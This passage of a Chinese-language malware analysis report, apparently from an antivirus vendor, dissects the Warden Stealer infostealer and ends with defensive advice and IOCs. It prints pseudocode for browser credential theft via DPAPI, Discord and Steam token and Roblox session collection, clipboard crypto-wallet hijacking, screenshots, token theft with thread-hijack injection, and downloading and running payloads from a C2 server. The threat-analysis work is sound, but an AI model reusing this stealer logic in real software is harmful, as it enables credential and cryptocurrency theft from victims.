    for (dir in {base_localapp + "\\Google\\Chrome\\User Data",         
                 base_localapp + "\\Microsoft\\Edge\\User Data",
                 base_localapp + "\\BraveSoftware\\Brave-Browser\\User Data"}) {
        for (prof in {"Default", "Profile 1..N"}) {                    
            key  = dpapi_unprotect(chromium_master_key_encrypted(dir, prof));  
            coll = chromium_collect(dir + "\\" + prof, ...);                   
            append(out, coll);
        }
    }

}

  应用数据采集

  应用数据采集逻辑使用文件及注册表等描述符定位目标数据,涉及Discord token、Steam路径及ConnectCache等登录相关数据,以及Roblox Cookie和 LocalStorage。

/* 多应用凭据 */
void steal_multi_app(void)
{
    appdata  = getenv_utf16("APPDATA");         
    localapp = getenv_utf16("LOCALAPPDATA");    /

    collect_tokens(join(appdata, "discord"), "dQw4w9WgXcQ:");       

    steam = reg_read("Software\\Valve\\Steam", "SteamPath");        
    collect_file(join(steam, "config\\local.vdf"));                 
    collect_file(join(steam, "config\\ConnectCache"));               
    collect_file("MachineUserConfigStore");                          
    collect_file("RobloxCookies.dat");                               
    collect_dir("Roblox\\LocalStorage");                            
}

  剪贴板内容替换

  剪贴板监控逻辑以约 500 毫秒为间隔检查剪贴板变化,并尝试识别EVM钱包地址或Base58字符串。若符合其识别条件且内容与预设地址不同,样本会将剪贴板内容替换为预设的钱包地址,从而完成加密货币钱包地址劫持。

/* 剪贴板钱包劫持*/
DWORD WINAPI clipper_thread(LPVOID)
{
    ensure_wallet_table();                                   
    for (;;) {
        Sleep(500);                                          
        if (GetClipboardSequenceNumber() == last) continue;   
        OpenClipboard(NULL);                                 
        p = GlobalLock(GetClipboardData(CF_UNICODETEXT));    
        int kind = 0;
        if (len == 42 && p[0]=='0' && p[1]=='x' && all_hex(p+2)) kind = 1;   /* EVM   */
        else if (all_base58(p))                                  kind = 2;   /* TRX/SOL 基类 */
        if (kind) {
            attacker = wallet_table[kind];                   
            if (stricmp(p, attacker) != 0) {                 
                EmptyClipboard();                            
                h = GlobalAlloc(GMEM_MOVEABLE, len*2);
                memcpy(GlobalLock(h), attacker, len*2);    
                SetClipboardData(CF_UNICODETEXT, h);         
            }
        }
        GlobalUnlock(h); CloseClipboard();                  
    }
}

  屏幕截图

  截图逻辑通过桌面设备上下文获取屏幕尺寸,并调用GDI相关接口生成全屏位图。结合其他数据采集与通信逻辑,该功能用于收集受害主机当前屏幕信息;

/* 截图  */
void screenshot_and_report(void)
{
    SetProcessDPIAware();                       
    hdc = GetDC(NULL);                          
    w = GetSystemMetrics(SM_CXSCREEN); h = GetSystemMetrics(SM_CYSCREEN);  
    mem = CreateCompatibleDC(hdc); bmp = CreateCompatibleBitmap(hdc, w, h);  
    SelectObject(mem, bmp);                      
    BitBlt(mem, 0,0, w,h, hdc, 0,0, SRCCOPY);    
    GetDIBits(mem, bmp, 0, h, bits, &bi, DIB_RGB_COLORS);                   
    ReleaseDC(NULL, hdc); DeleteObject(bmp); DeleteDC(mem);                
}

  注入explorer

  样本尝试定位 Shell_TrayWnd 窗口所属进程并获取进程令牌信息,随后复制令牌并以相应身份创建进程;同时枚举目标进程内存区域并读取符合条件的私有内存,还包含向远程进程分配和写入载荷、修改线程上下文以转移执行流的逻辑。

/* 令牌窃取 + 跨进程扫描 + 远程注入 */
void steal_shell_token_and_inject(void)
{
    /* 定位 shell 进程并拿全权句柄 */
    hShellWnd = GetShellWindow();                                       
    GetWindowThreadProcessId(hShellWnd, &pid);                            
    NtQuerySystemInformation(SystemProcessInformation, buf, 0x10000, &len); 
    for (entry in walk(buf)) {                                            
        h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, pid);        
        QueryFullProcessImageNameW(h, 0, path, &n);                       
        if (match(path)) hFull = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);  
    }
    /* 令牌链 */
    OpenProcessToken(hFull, TOKEN_DUPLICATE|TOKEN_QUERY, &tok);           
    GetTokenInformation(tok, TokenUser/IntegrityLevel/SessionId, ...);    
    DuplicateTokenEx(tok, ...);                                          
    CreateProcessWithTokenW(tok, 0, payload, cmdline, ...);               /* 以受害者身份起进程 */

    /* 跨进程内存扫描(ABE/凭据内存取证用) */
    for (addr = 0; VirtualQueryEx(hFull, addr, &mbi, 0x30); addr = mbi.Base + mbi.Size) {  
        if (mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE && (mbi.Protect & ~1) == 2)
            ReadProcessMemory(hFull, addr, local, chunk, &got);        
    }
    /* ④ 远程注入:解载荷 → 分配 → 写入 → 劫持线程上下文 */
    hLib = LoadLibraryA(dll_name); pfn = GetProcAddress(hLib, proc);      
    snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);               
    Thread32First/Thread32Next(snap, &te);                               
    remote = VirtualAllocEx(hFull, 0, size, MEM_COMMIT, PAGE_EXECUTE_READ);
    WriteProcessMemory(hFull, remote, payload, size, &w);                 
    WriteProcessMemory(hFull, remote + off, r13, n, &w);                 
    hThread = OpenThread(THREAD_GET_CONTEXT|THREAD_SET_CONTEXT|THREAD_SUSPEND_RESUME, 0, tid); 
    SetThreadContext(hThread, &ctx);                                      /* 改 RIP → 执行注入载荷 */
}

  下载执行其他载荷

  下载执行逻辑根据配置拼接包含时间戳等信息的URL,并通过HTTP(S)请求拉取后续文件。伪代码显示,下载内容会写入 %TEMP%,随后依据文件扩展名选择 msiexec.exe、cmd.exe 或 ShellExecuteExW 等方式启动,启动失败时最多重试 11 次。由于本次未获取有效C2配置,无法获取下载的完整URL。

/* 下载执行 */
void download_and_exec(void)
{
    lazy_init_cfg_state();                                         
    resolve(GetTickCount|CloseHandle|ShellExecuteExW|WriteFile|CreateFileW);  
    tmp   = getenv("TEMP");                                            
    url   = build_url(cfg.base, cfg.item, GetTickCount());            
    scheme = url_starts("http://") ? HTTP : HTTPS_443;            
    parse_host_port_path(url, &host, &port, &path);                 

    body = http_get(host, port, path);                                 /* WinHttp 流程(GET) */
    if (!body) return;

    path_on_disk = join(tmp, filename_from(cfg));                      /* 扩展名分类 */
    h = CreateFileW(path_on_disk, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0x80);  
    if (WriteFile(h, body, len, &written, 0) && written == len) {     
        CloseHandle(h);
        switch (ext) {
        case ".msi":          cmd = "msiexec.exe /i " + f + " /qn /norestart"; break;  
        case ".cmd": case ".bat": cmd = "cmd.exe /c " + f;                     break;  
        default:              ShellExecuteExW(f);                                    
        }
        for (int i = 0; i < 11; i++) if (launch(cmd)) break;           /* 最多 11 次重试 */
    }
}

总结

  Warden Stealer窃密木马具备载荷解码与进程注入、主机环境识别、多类应用数据采集、剪贴板钱包地址替换及后续载荷下载执行等能力,形成了从信息收集、数据窃取到后续利用的攻击链,可造成账号凭据泄露、会话被盗用及加密资产转账对象被篡改等风险。结合公开情报,Warden Stealer的新版本还被报道开始关注 AI 编程工具及开发者凭据,反映出窃密目标正向开发环境和访问凭据扩展。相关企业及机构应加强终端行为监控和敏感凭据保护,重点排查异常进程注入、应用数据目录访问、剪贴板异常修改及可疑外联行为。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑文件和邮件,尤其警惕带有密码保护压缩包附件的钓鱼邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知与EDR等行为检测产品。

    网关安全产品可利用威胁情报追溯攻击行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的。同时,EDR产品可通过进程行为、内存注入、网络连接等多维度行为规则进行检测。

  3. 安装有效的杀毒软件。

    杀毒软件可拦截恶意文档和木马病毒。如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护终端安全。

    瑞星目前已可检出此次攻击事件的相关样本。

image

  1. 通用安全建议:及时修补系统补丁和重要软件补丁。

    及时修补系统补丁和重要软件补丁是防御各类攻击的基础措施。

沦陷信标(IOC)

  • MD5

    C6BB7C751E64FC9B8E755D56102CF946
    9FB6AAB11A0B56291E86560E880EF9BC
  • IPV4

    systemformating.rest
    notguilty.info
  • 瑞星病毒名

    Stealer.Warden/x64!1.149BA
    Trojan.ShellCodeRunner/x64!1.149AA

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *